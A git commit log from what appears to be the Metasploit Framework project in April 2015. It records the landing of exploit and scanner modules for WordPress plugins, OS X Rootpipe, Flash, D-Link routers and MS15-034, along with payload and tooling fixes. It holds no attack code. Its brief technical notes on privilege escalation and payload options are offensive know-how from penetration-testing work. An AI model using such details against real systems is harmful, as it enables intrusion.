Compare commits

...

4199 Commits

Author SHA1 Message Date
Brent Cook aa4489dd21 Land #5196, fix incorrect yardoc annotations 2015-04-20 11:50:43 -05:00
jvazquez-r7 4f59abe842 Land #5203, @Meatballs1 fixes #5199 by using the correct namespace
* Fixes web_delivery
2015-04-20 11:20:48 -05:00
Meatballs eb1c01417a Bogus : 2015-04-20 11:00:26 +01:00
Meatballs aa4f913800 Resolves #5199
Fix Powershell namespace in web_delivery module
2015-04-20 09:37:42 +01:00
Christian Mehlmauer a60fe4af8e Land #5201, Change module wording to conform with other WP modules 2015-04-20 10:07:05 +02:00
aushack 1a32cf7fc0 Change module wording to conform with other WP modules. 2015-04-20 16:48:35 +10:00
Christian Mehlmauer 668961b69d fix some yarddoc issues 2015-04-20 00:06:59 +02:00
Christian Mehlmauer 103b8297ba Land #5183, Improve developer experience for fail_with 2015-04-19 23:57:36 +02:00
Christian Mehlmauer ed9175d73f Land #5167, WordPress CP Multi-View Calendar SQLI Scanner 2015-04-19 23:36:23 +02:00
Brandon Perry 8c0bcd2e03 Update wordpress_cp_calendar_sqli.rb
Use the new WPVDB
2015-04-19 16:32:57 -05:00
Christian Mehlmauer a5583debdc Land #5131, WordPress Slideshow Upload 2015-04-19 23:12:26 +02:00
Roberto Soares c1a1143377 Remove line in description and output line in fail_with 2015-04-18 15:38:42 -03:00
Christian Mehlmauer 3417c3f5ab Land #5181, Revert unwanted URI encoding 2015-04-18 11:55:19 +02:00
wchen-r7 37613adebb Improve developer experience for fail_with
The fail_with for an exploit is used differently than a non-exploit,
so it would be nice to document about this. Also, be strict about
the reason for the exploit one, because this can affect other
components of Metasploit.
2015-04-17 15:55:22 -05:00
wchen-r7 4f903a604c Fix #5103, Revert unwanted URI encoding
Fix #5103. By default, Httpclient will encode the URI but
we don't necessarily want that. These modules originally
didn't use URI encoding when they were written so we should
just keep them that way.
2015-04-17 13:59:49 -05:00
Brent Cook 2a327b7c91 Land #5116, better handle platform and arch in msfvenom 2015-04-17 10:55:41 -05:00
Brent Cook e73d2cf6a7 Land #5179, workaround crash with OS X system python 2015-04-17 10:44:05 -05:00
Meatballs 15eef6e8de Dont fork on OSX 2015-04-17 11:43:07 +01:00
OJ 85ba60b6d3 Land #5138 : Cleanup http(s) sessions when all closed 2015-04-17 20:15:02 +10:00
Christian Mehlmauer bba0927c7e Land #5163, WordPress Reflex Gallery Plugin File Upload 2015-04-17 11:26:34 +02:00
Christian Mehlmauer 6653c9e33d Land #5162, WordPress Dukapress File Read Vulnerability 2015-04-17 11:20:55 +02:00
Christian Mehlmauer 6c77b64dae wrong method name 2015-04-17 11:20:14 +02:00
Christian Mehlmauer aef464fc2e Land #5159, WordPress Mobile Edition Plugin File Read Vuln 2015-04-17 11:13:00 +02:00
Brent Cook 3107d99b9a Use the same URI that was registered when we deregister
The original URI is registered as '/foobar/' but is deregistered as
'//foobar/', causing it to never get deregistered. Changing this fixes
unregistration of the service handler for staged payloads, but stageless
doesn't work properly if the URI actually gets deregistered.
2015-04-17 03:20:24 -05:00
Brent Cook 18225780da cleanup HTTP and HTTPS listeners when sessions are closed
Rather than listening forever after a session shuts down, close the session if
there are no other URI's registered on the listener. This allows reconfiguring
the listener without restarting framework, but should be safe for situations
where multiple modules share the same listener.
2015-04-17 02:41:24 -05:00
William Vu 3300845c99 Land #5171, fail_with check for msftidy 2015-04-16 23:35:23 -05:00
Christian Mehlmauer d494bdd5e3 Merge pull request #6 from wvu-r7/pr/5171
Consolidate on one check and fix false positives
2015-04-17 06:20:57 +02:00
Brent Cook 753978fc7a Land #5141, stageless unique URIs with the same UUID 2015-04-16 22:21:32 -05:00
Brent Cook 2ee28916f7 bump meterpreter_bins to 0.0.22 2015-04-16 22:21:12 -05:00
OJ e0cd4a4d44 Merge branch 'upstream/master' into multi-session-stageless 2015-04-17 12:46:20 +10:00
wchen-r7 3927024f79 Land #5154, CVE-2015-0556 (Flash copyPixelsToByteArray int overflow)
sage aborts
2015-04-16 21:21:09 -05:00
William Vu 832487cad7 Consolidate on one check and fix false positives 2015-04-16 18:01:28 -05:00
William Vu 3422501d91 Land #5174, deprecated module cleanup 2015-04-16 17:43:28 -05:00
William Vu 7a4494a81f Land #5173, moar fail_with fixes 2015-04-16 17:27:02 -05:00
Christian Mehlmauer 153344a1dd fix Unkown typo 2015-04-16 23:59:28 +02:00
Christian Mehlmauer 2b9fd93729 remove deprecated modules 2015-04-16 22:49:22 +02:00
Brent Cook 9bf897a829 Land #4744, refactor powershell for msfvenom psh-cmd 2015-04-16 15:44:57 -05:00
Roberto Soares 33cf2f1578 Added Faliure:: symbol to fail_with 2015-04-16 17:40:25 -03:00
Roberto Soares ed588e335b Changed the print_error output. 2015-04-16 17:32:59 -03:00
Roberto Soares bf3bdcffb4 Changed the deph value to 7. 2015-04-16 17:30:28 -03:00
Roberto Soares dd474757fe Changed the print_error output. 2015-04-16 17:26:44 -03:00
Roberto Soares f50cedeafd Changed the depth value to 7. 2015-04-16 17:22:49 -03:00
Roberto Soares 2138325129 Add Failure:: symbol to fail_with 2015-04-16 17:15:24 -03:00
Christian Mehlmauer 352e170624 more failure reasons 2015-04-16 22:04:11 +02:00
Christian Mehlmauer 8c5890d506 more fixes 2015-04-16 21:56:42 +02:00
Christian Mehlmauer 40f6b086c2 fix regex 2015-04-16 21:51:31 +02:00
Christian Mehlmauer 8c12361bda remove fail_with defs 2015-04-16 21:49:31 +02:00
Christian Mehlmauer 0815791fee fix regex 2015-04-16 21:48:16 +02:00
Christian Mehlmauer ba6548db75 be consistent about naming 2015-04-16 21:44:56 +02:00
Christian Mehlmauer af277195f5 check for valid values 2015-04-16 21:43:47 +02:00
Christian Mehlmauer 69d3c26746 fix documentation 2015-04-16 21:28:16 +02:00
Christian Mehlmauer b4b8ac0849 moar fail_with's 2015-04-16 21:26:37 +02:00
Christian Mehlmauer a193ae42b0 moar fail_with's 2015-04-16 21:25:05 +02:00
Christian Mehlmauer 4dc402fd3c moar fail_with's 2015-04-16 21:16:52 +02:00
Christian Mehlmauer 0e186fa617 first fail_with fixes 2015-04-16 21:08:33 +02:00
Christian Mehlmauer 4469fcd9e8 add fail_with error 2015-04-16 20:04:08 +02:00
William Vu f0d6735332 Land #5165, version number correction 2015-04-16 12:10:12 -05:00
William Vu 326be0c14e Land #5164, improved WordPress readme detection 2015-04-16 12:09:38 -05:00
William Vu 26f2b350d2 Land #5168, more fail_with fixes 2015-04-16 12:04:55 -05:00
William Vu 7886ac63ca Land #5170, fail_with argument fix 2015-04-16 10:45:55 -05:00
sinn3r 904339f0d7 Fix #5130, Correct use of fail_with in wp_worktheflow_upload.rb 2015-04-16 10:32:50 -05:00
sinn3r 5c98270f4d Fix #5137 - Correct use of fail_with 2015-04-16 09:57:02 -05:00
Brandon Perry 75b88f199a Create wordpress_cp_calendar_sqli.rb 2015-04-16 09:53:00 -05:00
Christian Mehlmauer 418d8586a5 Land #5137 (again), WordPress N-Media Website File Upload 2015-04-16 16:24:41 +02:00
Christian Mehlmauer 7f79acb996 Land #5137, WordPress N-Media Website File Upload 2015-04-16 16:17:20 +02:00
Roberto Soares 517ad54617 Fix the correct version in check. 2015-04-16 10:56:43 -03:00
Roberto Soares 95310dbe4f Fix 'if' condition. 2015-04-16 10:51:36 -03:00
Roberto Soares 626a9f0508 Fix the correct version in check. 2015-04-16 10:46:08 -03:00
Roberto Soares ecc67b1a57 Fix loot name 2015-04-16 10:42:20 -03:00
Roberto Soares d898af5513 Add check version and removed HttpClient 2015-04-16 10:40:35 -03:00
Roberto Soares 6ef074cd28 Fix the correct version in check 2015-04-16 10:34:34 -03:00
Roberto Soares 768294710b Add check and removed HttpClient 2015-04-16 10:22:10 -03:00
Christian Mehlmauer d9f4c7548f Land #5136, WordPress Creative Contact Form upload 2015-04-16 15:17:14 +02:00
Christian Mehlmauer 84c74b8d42 use correct version number 2015-04-16 15:01:54 +02:00
Christian Mehlmauer dc8f266345 fix readme detection bug 2015-04-16 14:57:29 +02:00
Roberto Soares ee8dc49a25 Fix wrong version in check. 2015-04-16 09:45:18 -03:00
Christian Mehlmauer 9df09a1d60 readme detection 2015-04-16 14:41:30 +02:00
Roberto Soares e16cc6fa82 Fix the correct version in check. 2015-04-16 09:38:42 -03:00
Roberto Soares 890561bff3 Rewriting the condition 'if' for only one line 2015-04-16 09:23:56 -03:00
Roberto Soares b90ff36ef4 Rewriting the condition 'if' for only one line 2015-04-16 09:15:17 -03:00
Christian Mehlmauer 7dde7f6f7c Land #5130, WordPress WorkTheFlow Upload 2015-04-16 14:06:37 +02:00
Roberto Soares dc7f161339 Add author, EDB, OSVDB and WPVDB. 2015-04-16 08:56:33 -03:00
Roberto Soares 1112a3b0ae Add WordPress Reflex Gallery Plugin File Upload 2015-04-16 08:40:51 -03:00
Roberto Soares 21e964e699 Add Author and references.. 2015-04-16 07:20:48 -03:00
Roberto Soares f6f4bd0746 Add WordPress Dukapress File Read Vulnerability 2015-04-16 07:17:46 -03:00
Roberto Soares 4aa4f83372 Removed timeout 2. 2015-04-16 05:37:11 -03:00
Roberto Soares 39556c10c7 Rewrote check method. 2015-04-16 05:36:20 -03:00
Roberto Soares ace316a54f Added WPVDB and EDB references. 2015-04-16 05:29:21 -03:00
Roberto Soares 10c218319a Rewrote response condition. 2015-04-16 05:26:48 -03:00
Roberto Soares 5cb9b1a44c Removed timeout 2. 2015-04-16 05:21:59 -03:00
Roberto Soares 0e1b173d15 Renamed USER/PASSWORD to WP_USER/WP_PASSWORD. 2015-04-16 05:11:56 -03:00
Roberto Soares 13ded8abe7 Added WPVDB. 2015-04-16 05:08:45 -03:00
Roberto Soares 64923ffdc2 Fixed plugin name in check method 2015-04-16 05:06:36 -03:00
Roberto Soares c8e1185a04 Included Wordpress mixin. 2015-04-16 05:02:39 -03:00
Roberto Soares e9212c4d6b wordpress_url_admin_ajax intead of wordpress_url_backend 2015-04-16 04:53:05 -03:00
Roberto Soares 81d898fd7e Rewrote check code. 2015-04-16 04:51:40 -03:00
Roberto Soares aeb0484889 Removed timeout 2. 2015-04-16 04:48:00 -03:00
Roberto Soares e6e9c173e3 Rewrote res conditions. 2015-04-16 04:43:34 -03:00
Roberto Soares d11db4edc7 Rewrote check code. 2015-04-16 04:37:30 -03:00
Roberto Soares f13d31c7c2 Added WPVDB. 2015-04-16 04:31:23 -03:00
William Vu 97f1efbb59 Fix #4722, extraneous addition removed 2015-04-16 02:30:24 -05:00
William Vu 2bdcc178ef Remove extraneous addition 2015-04-16 02:30:09 -05:00
Roberto Soares cccda4e851 Removed unnecessary line. 2015-04-16 04:27:15 -03:00
William Vu 42ff0decc7 Land #4722, timing options for snmp_login 2015-04-16 02:25:29 -05:00
William Vu 88062a578d Clean up PR 2015-04-16 02:25:06 -05:00
Roberto Soares d3a6de761d Removed timeout 2. 2015-04-16 04:09:02 -03:00
William Vu 01625e3bba Land #5148, DRY BSD/OS X shellcode
Also fix a semi-regression in the Rootpipe exploit.
2015-04-16 02:08:18 -05:00
William Vu 13da15e434 Add default PAYLOAD again
PrependSetreuid doesn't work with generic/shell_reverse_tcp.
2015-04-16 02:07:02 -05:00
Roberto Soares 1249f29ee8 Add JSON::ParserError exception handler. 2015-04-16 04:03:54 -03:00
William Vu 86c5e96d19 Land #5146, enum_system cleanup 2015-04-15 22:02:32 -05:00
William Vu 001253a8da Clean up module some more 2015-04-15 22:02:04 -05:00
William Vu 0a4ab99aa5 Land #5149, couchdb_enum cleanup 2015-04-15 21:50:30 -05:00
William Vu 4410f8da6e Clean up module some more 2015-04-15 21:48:19 -05:00
Brent Cook 30d60975ba Land #5144, add missing report_note in apache_range_dos 2015-04-15 21:47:18 -05:00
Brent Cook beec0ba86a Land #5161, fix ms12_020_check not storing vulns in the db 2015-04-15 21:46:50 -05:00
William Vu 20d4d1ce3f Move report_goods before the return 2015-04-15 21:22:41 -05:00
joev 9b6aea12e1 Oops, missed a comma. 2015-04-15 19:26:53 -05:00
Roberto Soares 0031f09d60 Add author, EDB, WPVDB and fix loot. 2015-04-15 20:03:36 -03:00
Roberto Soares 0f1cf1d1b1 Add Module WP Mobile Edition Plugin File Read Vuln 2015-04-15 19:45:08 -03:00
Brent Cook 3d851d8be7 Land #5155, spelling fix 2015-04-15 15:36:23 -05:00
sinn3r 7cc80c418b Correct a bad spelling in ms15_034_ulonglongadd.rb 2015-04-15 15:32:55 -05:00
joev 4a18714191 Update authors and license to original osx x86 module. 2015-04-15 14:34:26 -05:00
jvazquez-r7 3ca7d6aae5 Land #5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys
* `check` to test, `run` to DoS
2015-04-15 14:29:18 -05:00
jvazquez-r7 28fac60c81 Add module for CVE-2015-0556 2015-04-15 14:08:16 -05:00
sinn3r 76d36a46dc Missing a checkcode 2015-04-15 14:04:18 -05:00
William Vu 3633be127a Land #5153, gem/autoload updates 2015-04-15 13:37:15 -05:00
sinn3r 8a542b841c Don't check Server header 2015-04-15 13:33:09 -05:00
sinn3r 90ed6ee0b6 No "vhost" 2015-04-15 13:32:11 -05:00
sinn3r 3aa8e6908d Converted to a DOS module 2015-04-15 13:13:16 -05:00
Matt Buck 1e7a6bf3e9 Update metasploit gem dependencies to released versions 2015-04-15 13:06:33 -05:00
Matt Buck 491835d578 Land #5114, missing metasploit/credential require 2015-04-15 12:52:41 -05:00
sinn3r 19ab71aa43 Final update i swear 2015-04-15 10:20:15 -05:00
sinn3r 7a77dbc9f0 Update description 2015-04-15 10:15:40 -05:00
jvazquez-r7 ef6bf54e2f Fix metadata 2015-04-15 09:22:59 -05:00
jvazquez-r7 1da6b32df7 Land #4924, @m-1-k-3's DLink CVE-2015-1187 exploit
* ncc service ping.cpp command injection
2015-04-15 09:17:10 -05:00
jvazquez-r7 6019bbe0d2 Add ranking comment 2015-04-15 09:12:03 -05:00
jvazquez-r7 ad465c4d5b Do code cleanup 2015-04-15 09:10:18 -05:00
sinn3r 2206ae48a1 Match the PR title 2015-04-15 01:50:59 -05:00
sinn3r 63048a7385 Newline
-_-
2015-04-15 01:38:09 -05:00
sinn3r 6f874b81ff Add MS15-034 check (CVE-2015-1635) 2015-04-15 01:37:43 -05:00
Roberto Soares 1d6300991c Clean the code of the module couchdb_enum. 2015-04-15 02:58:51 -03:00
joev 5f4ab3d2ab The setres* stubs are not implemented in OSX. 2015-04-14 23:33:16 -05:00
joev 0d19b5d4c3 Fix require order issue. 2015-04-14 23:23:02 -05:00
joev e56590e1e3 DRY up common code between BSD / OSX. 2015-04-14 23:08:57 -05:00
Roberto Soares c6e8ffb7e3 Fix some "mistakes" following the style guide 2015-04-15 00:35:14 -03:00
Roberto Soares 9250869ace Fix typo 2015-04-14 20:19:38 -03:00
Roberto Soares 6aad8b3a70 Changed the conditions if/elsif to case statements 2015-04-14 20:05:52 -03:00
Luke Imhoff c971bc930c Mark app/concerns as autoload
To work with metasploit-concern 0.4.0 prerelease not deriving
app/concerns from root and to ensure it is does not inherit eager_load
from app.
2015-04-14 15:06:59 -05:00
Luke Imhoff b9bce90759 Update to metasploit-concern 0.4.0 prerelease
MSP-12550

Properly shows Metasploit::Credential::Core::ToCredential is not loaded.
2015-04-14 15:03:20 -05:00
Luke Imhoff 4c407ce962 Merge branch 'bug/MSP-12529/missing-require-metasploit-credential' into bug/MSP-12550/app-concerns-eager-load
MSP-12550
2015-04-14 14:42:54 -05:00
William Vu 3cdc84bf27 Fix missing type in report_note 2015-04-14 14:02:20 -05:00
William Vu b5ae3fd62c Land #5142, missing module rank fixes 2015-04-14 13:41:38 -05:00
sinn3r aca93cc86e Add missing Rank 2015-04-14 13:33:37 -05:00
Brent Cook 75b559eea3 Land #5081, meterpreter certificate hash check controls 2015-04-14 10:46:13 -05:00
Brent Cook 0e864e1631 update bins to 0.0.21 2015-04-14 10:45:49 -05:00
Brent Cook 7f56c07b64 add missing sslhash attribute 2015-04-14 10:45:44 -05:00
Tod Beardsley 97e715b1ce Land #5139, metasm/ruby signedness fix 2015-04-14 10:26:23 -05:00
OJ 4e49964c15 Add support for init_connect for stageless payloads
This new mode for HTTP/S stageless allows the stageless payload to be
reused without MSF believing that the session has already been
initialised.
2015-04-14 16:43:07 +10:00
William Vu f6285991b3 Land #5140, extraneous space fix 2015-04-14 01:38:21 -05:00
sinn3r 61b709b8c5 Extra space in message "Local IP:" 2015-04-14 01:34:07 -05:00
William Vu e114c85044 Land #5127, x64 OS X prepend stubs 'n' stuff 2015-04-14 01:25:39 -05:00
William Vu 8d1126eaa5 Land #5129, x64 BSD prepend stubs 'n' stuff 2015-04-14 01:24:50 -05:00
Brent Cook 3860bbabbb Avoid generating labels with '..' in them with metasm
So, metasm generates labels for the assembler using "%x" % string.object_id. If
the pointer for string.object_id begins with the most significant digit set, it
looks like a sign-extended 2's complement number (negative), and gets formatted
by ruby as '..f1412300' or similar. On 32-bit platforms, there is rather high
chance of randomly ending up with a label like 'goto_test_uuid..f1234560:',
which is a parse error.

This patch simply takes the absolute value of the object_id to avoid negative
interpretations.  This fixes hiesenbugs using metasm's C compiler on 32-bit
platforms.
2015-04-13 22:43:18 -05:00
Roberto Soares a09e643a71 Add author, URL, WPVDB and disclosure date. 2015-04-13 22:54:05 -03:00
Roberto Soares 271a81778e Add Module WP N-Media Website Contact Form Upload 2015-04-13 22:48:34 -03:00
Joe Vennix 52fc60b294 Merge pull request #1 from wvu-r7/pr/5127
Add Privileged to info hash
2015-04-13 17:08:14 -05:00
Roberto Soares 7f10fb5bf0 Fix disclosure date 2015-04-13 18:53:20 -03:00
Roberto Soares e94ca0bdd1 Add EDB, OSVDB and author. 2015-04-13 18:42:17 -03:00
Roberto Soares d5d975c450 Add Module WordPress Creative Contact Form Upload 2015-04-13 18:38:43 -03:00
William Vu e324819feb Add Privileged to info hash
Also remove default payload. Was set for CMD.
2015-04-13 15:23:30 -05:00
Tod Beardsley c2a252face Land #5133, grammar/spelling fixes from @void-in 2015-04-13 12:47:32 -05:00
Tod Beardsley c4084659a9 Check @void-in's fixes out 2015-04-13 12:44:40 -05:00
William Vu 1a81938c6e Land #5132, @todb-r7's release fixes 2015-04-13 11:07:56 -05:00
Tod Beardsley bd3b6514fa Dubbed. Whump whump. 2015-04-13 10:52:32 -05:00
Tod Beardsley d87483b28d Squashed commit of the following:
commit 49f480af8b9d27e676c02006ae8873a119e1aae6
Author: Tod Beardsley <tod_beardsley@rapid7.com>
Date:   Mon Apr 13 10:42:13 2015 -0500

    Fix funny punctuation on rootpipe exploit title

    See #5119

commit 0b439671efd6dabcf1a69fd0b089c28badf5ccff
Author: Tod Beardsley <tod_beardsley@rapid7.com>
Date:   Mon Apr 13 10:37:39 2015 -0500

    Fix vendor caps

    Trusting the github repo README at

    https://github.com/embedthis/goahead

    See #5101
2015-04-13 10:46:47 -05:00
root 51dd88114b Fix grammer in comments 2015-04-13 13:21:41 +05:00
Roberto Soares 7b57496501 Fix typo and add email addr. 2015-04-13 04:12:32 -03:00
Roberto Soares abee3f17c4 Add author, CVE and EDB references 2015-04-13 04:08:34 -03:00
Roberto Soares 58c4042321 Add Module WP Slideshow Gallery Shell Upload 2015-04-13 03:56:59 -03:00
Roberto Soares 2d1f8c510e Add author and references 2015-04-12 21:21:49 -03:00
Roberto Soares 9f06cee53d Add Module WordPress WorkTheFlow Shell Upload 2015-04-12 21:09:44 -03:00
joev 2d3614f647 Implement x64 BSD exec and exe template.
- Fixes bug in CachedSize due to all options being set
- Adds new payload to payload_spec.
2015-04-12 12:17:25 -05:00
joev 92c12de6db Fix invalid datastore options. 2015-04-12 00:54:10 -05:00
joev ceadd1e6ec Update osx x86 payload cached sizes to be accurate.
- Right now there is a bug in the payload_spec, which causes the payload's
  datastore during the spec run to have things like 'PrependSetuid' => 'false',
  where 'false' is a string, which means 'if (datastore['PrependSetuid'])'
  branch will be taken, resulting in incorrect behavior.
2015-04-12 00:21:18 -05:00
joev eaab665a6d Remove #generate patch, specs will fail again. 2015-04-12 00:07:39 -05:00
joev 60d98ba892 Implement the remaining syscalls. 2015-04-12 00:02:29 -05:00
joev 3fe6fb44b9 Prevent this from changing cache size. 2015-04-11 23:44:56 -05:00
joev c132a3fb0a Fix OSX prepends and implement x64 setreuid. 2015-04-11 20:04:21 -05:00
William Vu d5903ca5b2 Land #5126, Meterpreter edit command fix 2015-04-10 17:19:33 -05:00
William Vu 9625504f5b Land #5121, timestomp arg/opt order fix 2015-04-10 17:18:14 -05:00
William Vu 8acc768da7 Copy documentation 2015-04-10 17:17:54 -05:00
Sonny Gonzalez 3ae533f995 Merge pull request #5117 from shuckins-r7/chore/MSP-12540/set-postgres93-travis
Land #5117 - Set postgres version for Travis to 9.3
2015-04-10 15:36:46 -05:00
rwhitcroft 64c2bf3227 don't raise exception if file download fails 2015-04-10 16:23:33 -04:00
sinn3r 284ef5bbbb Land #5112, Nessus REST Login Module 2015-04-10 13:32:53 -05:00
joev 3313dac30f Land #5119, @wvu's addition of the OSX rootpipe privesc exploit.
orts
borts
2015-04-10 12:38:25 -05:00
root 0adc558395 Merge branch 'wchen-r7-pr5112_update' into aux-scanner-nessus 2015-04-10 22:38:22 +05:00
root 19fe226b30 Correct a minor typo 2015-04-10 22:37:14 +05:00
sinn3r 4419c1c728 Land #5120, Adobe Flash Player casi32 Integer Overflow 2015-04-10 12:18:11 -05:00
sinn3r 90d525088c Green rspec 2015-04-10 11:36:23 -05:00
William Vu e8e7a2a67a Land #5122, undefined "upload_path" fix 2015-04-10 11:30:50 -05:00
William Vu fc814a17ae Add admin check
Also break out version check.
2015-04-10 11:24:49 -05:00
William Vu 41885133d8 Refactor and clean
Finally breaking free of some stubborn old habits. :)
2015-04-10 11:22:27 -05:00
William Vu a7601c1b9a Use zsh to avoid dropping privs
Also add some configurable options.
2015-04-10 11:22:00 -05:00
William Vu 4cc6ac6eaa Clarify vulnerable versions 2015-04-10 11:22:00 -05:00
William Vu c4b7b32745 Add Rootpipe exploit 2015-04-10 11:22:00 -05:00
William Vu 289e24e009 Land #5123, ms14_068_kerberos_checksum typo fix 2015-04-10 10:04:24 -05:00
root 7e6461aea0 Travis error correction 2015-04-10 15:48:48 +05:00
root 8c0d5d66d0 Add spec file 2015-04-10 15:32:03 +05:00
Jon Cave b2b7da2dc5 Fix spelling of Microsoft in module name 2015-04-10 11:09:16 +01:00
Jon Cave c6f062d49e Ensure that local variable upload_path is defined
Merge `upload_payload` and `parse_upload_response` so that the
`upload_path` variable is defined for use in error messages in the event
of failure.
2015-04-10 10:58:20 +01:00
root 7810f3d9a3 Add previous nessus_xmlrpc_login file 2015-04-10 12:32:42 +05:00
root bbbd4d3634 change name to keep both XML and REST modules 2015-04-10 12:20:43 +05:00
William Vu 38037062b2 Land #5115, vulns -R support 2015-04-10 01:51:41 -05:00
rwhitcroft b5f4b72b51 fix timestomp arg parsing 2015-04-10 00:28:35 -04:00
jvazquez-r7 91f5d0af5a Add module for CVE-2014-0569
* Adobe flash, Integer overflow on casi32
2015-04-09 19:37:26 -05:00
OJ 298b20ba74 Land #5118 - prevent stack trace in https x64 2015-04-10 08:58:06 +10:00
HD Moore 1d166c1ef6 Don't lookup nil platform, prevents a stack trace w/64-bit reverse_https 2015-04-09 17:18:42 -05:00
Samuel Huckins 20514051bc Set postgres version for Travis to 9.3 2015-04-09 17:16:37 -05:00
sekritskwurl bd2136427e Merge pull request #1 from wvu-r7/pr/5115
Fix up vulns -R
2015-04-09 18:04:55 -04:00
William Vu 6fbdb51246 Clean up vulns -R and a few others 2015-04-09 16:52:23 -05:00
William Vu 88031c9a87 Update spec 2015-04-09 16:25:04 -05:00
sekritskwurl 0d6fb3dd6b vulns command with -R --rhosts 2015-04-09 17:01:18 -04:00
sinn3r 56793d11c8 Fix #4866, msfvenom not properly handling platform & arch
This fixes #4866, an issue with msfvenom not properly handling special
cases with generic payloads. So the story behind this fix is that
we have these two problems:

Problem 1: The current payload selection design relies on the payload
module in order to set the platform and arch. Almost all MSF payloads
contain a default platform and arch, however, the bind and reverse
generic payloads don't.

Problem 2: By default, Msf::Payload::Generic also explicitly sets the
PLATFORM and ARCH datastore options to nil. So there is no way the
payload generator can figure out what platform and arch to use.

As a result of these problems, msfvenom will actually end up getting
a Msf::Module::Platform as the default platform, which doesn't
actually represent any valid platform we can use (such as
Msf::Module::Platform::Windows). And the first item of ARCH_ALL for
the arch.

In addition, msfvenom has these two arguments that the user can use:
--platform and --arch. In most cases, these arguments are used more
like checks than actually setting anything. Because remember:
Framework's payload selector retreives the platform & arch from the
module (trusted), not the user input (untrusted). But from the user's
perspective it's impossible to know this.

After experimenting different ways to fix this, I came up with this
patch. It feels sort of more like a hack than a real fix, but as
far as I can tell, this is the best you can get unless you want to
redesign generic payload selection.
2015-04-09 16:01:11 -05:00
HD Moore ec28992ce2 Lands #5113, fixes IPv6 support for stageless 2015-04-09 09:29:40 -05:00
Luke Imhoff eb9b5d9a35 Restore metasploit-credential 0.14.3
MSP-12529

To prove that the change to optionally requiring 'metasploit/credential'
instead of 'metasploit/credential/creation' when including
`Metasploit::Credential::Creation` works not just with
metasploit-credential 0.14.4, go back to the original `Gemfile.lock`
with metasploit-credential 0.14.3.
2015-04-09 09:24:49 -05:00
Luke Imhoff 8b56286e66 Try to require 'metasploit/credential' when including Metasploit::Credential::Creation
MSP-12529

By convention, the top-level require of any gem should always be
required before trying to use any inner require.
2015-04-09 09:05:38 -05:00
Luke Imhoff 7442aa1439 Update metasploit-credential
MSP-12529

Update metasploit-credential to trigger bug where
`Metasploit::Credential` is not loaded when metasploit-framework tries
to directly require 'metasploit/credential/creation'.
2015-04-09 08:48:45 -05:00
OJ c83a763150 Fix IPv6 issues in staged and stageless
* Stageless payloads weren't adding brackets around IPv6 hosts.
* Staged HTTP handler was using an undefined function to check for IPv6
addresses when host header overriding was disabled.
2015-04-09 23:33:10 +10:00
William Vu ae62d00ee4 Land #5111, mimikatz typo fix 2015-04-09 01:50:36 -05:00
Anant Shrivastava 2b5ba7d12d fixed a typo
a typo fixed in help. 
command and not commannd
2015-04-09 12:11:46 +05:30
root b6e750d7eb Nessus auxiliary scanner for updated REST API 2015-04-09 11:36:17 +05:00
William Vu d98841d157 Land #5109, uictl enable/disable all 2015-04-09 01:35:01 -05:00
Roberto Soares 1591c92547 Add the "all" option for the uictl 2015-04-09 01:04:50 -03:00
William Vu c9bf8f3140 Land #5105, @joevennix's cable modem 0day 2015-04-08 16:09:46 -05:00
William Vu 831a59b10b Fix whitespace 2015-04-08 16:09:28 -05:00
Tod Beardsley 52f1b95222 Add disclosure link 2015-04-08 16:07:33 -05:00
sinn3r 1bfda9e78f Land #5101, Add Directory Traversal for GoAhead Web Server 2015-04-08 15:30:23 -05:00
Brent Cook e03f2df691 Land #5002, RMI/JMX improvements 2015-04-08 15:23:29 -05:00
Tod Beardsley 7ed1655976 Adding module for R7-2015-01
Disclosure coming soon, will update this module with a pointer to the
correct reference.
2015-04-08 12:34:31 -05:00
Roberto Soares dc14c770be Changed the traversal variable to just one line 2015-04-08 02:26:59 -03:00
Roberto Soares 441042ed37 Removed the segments variable 2015-04-08 01:29:45 -03:00
Brent Cook b22ff676e2 Land #5090: remove unused partial openssh compat code 2015-04-07 23:14:07 -05:00
Brent Cook 27fa8791f9 Land #5095 - OJ adds stageless http transports 2015-04-07 22:58:36 -05:00
Roberto Soares d399d05383 Add Directory Traversal for GoAhead Web Server 2015-04-07 20:22:06 -03:00
OJ 9fd40870d0 Update http(s) generator functions
Methods now require a hash. I went with the hash because 1) that's what
we seem to use everywhere else, and 2) I couldn't get the new keyword
arguments working nicely with the block syntax (I'm clearly stupid).
2015-04-08 07:56:54 +10:00
Brent Cook a54182a562 Land #5088: @rwhitcroft fix premature close on connect -i 2015-04-07 14:00:16 -05:00
Brent Cook 84411be606 Land #5097: resolve UUID namespace issues with pro 2015-04-07 13:16:28 -05:00
HD Moore 8cc48e05a8 Make Polyglot happy 2015-04-07 13:08:58 -05:00
HD Moore 9bce08b813 This change avoids namespace collisions around the Abbrev class 2015-04-07 13:06:26 -05:00
Samuel Huckins bac3c80d7e Land 5093, workaround for when cache is being built 2015-04-07 12:02:30 -05:00
Brent Cook 890b1515ae Land #5046, meterpreter transport mobility support 2015-04-07 10:52:03 -05:00
OJ 53d5b97634 Add support for UUID generation in transport switching
If the session doesn't have a payload UUID we now generate one as best
we can. This code will probably go away when TCP related transports have
had the UUID stuf baked in.
2015-04-07 17:25:55 +10:00
OJ 15313243cc Use UUID instead of old skool URIs
This uses HD's UUID stuff to generate a new URI for the transport.
Currently we don't have UUID support for TCP connections, but that's
coming.

Still do to: generation of a valid UUID for payloads that don't already
have one.
2015-04-07 16:00:30 +10:00
OJ 2977cbd42a Merge branch 'upstream/master' into dynamic-transport 2015-04-07 14:30:48 +10:00
OJ 84397f5db0 Remove unused commented-out code 2015-04-07 12:47:18 +10:00
OJ 5ab0204b24 Update spec for new payloads 2015-04-07 11:32:00 +10:00
OJ 8f58e08c13 Add support for stageless reverse_http payloads
This includes both x64 and x86.
2015-04-07 11:01:24 +10:00
OJ 38a77c930e Land #5072 : Support and embed payload UUIDs 2015-04-07 10:10:36 +10:00
James Lee 83cf1ad8ce Instantiate to get name if we don't have cache yet
Fixes #5086
2015-04-06 18:59:38 -05:00
William Vu 21d0d6ceb3 Remove dead code from Net::SSH
Triggers uninitialized constant COMPAT_OLD_DHGEX, which was removed in
1664a4b5e8. Somehow, this file was missed
when syncing with upstream.
2015-04-06 15:59:09 -05:00
rwhitcroft 8cbc98fc47 fix #5074 - missing thread join 2015-04-06 16:21:07 -04:00
William Vu ee13c07c95 Fix stack trace from %W prompt format
Should have been framework.db.active.
2015-04-06 14:08:52 -05:00
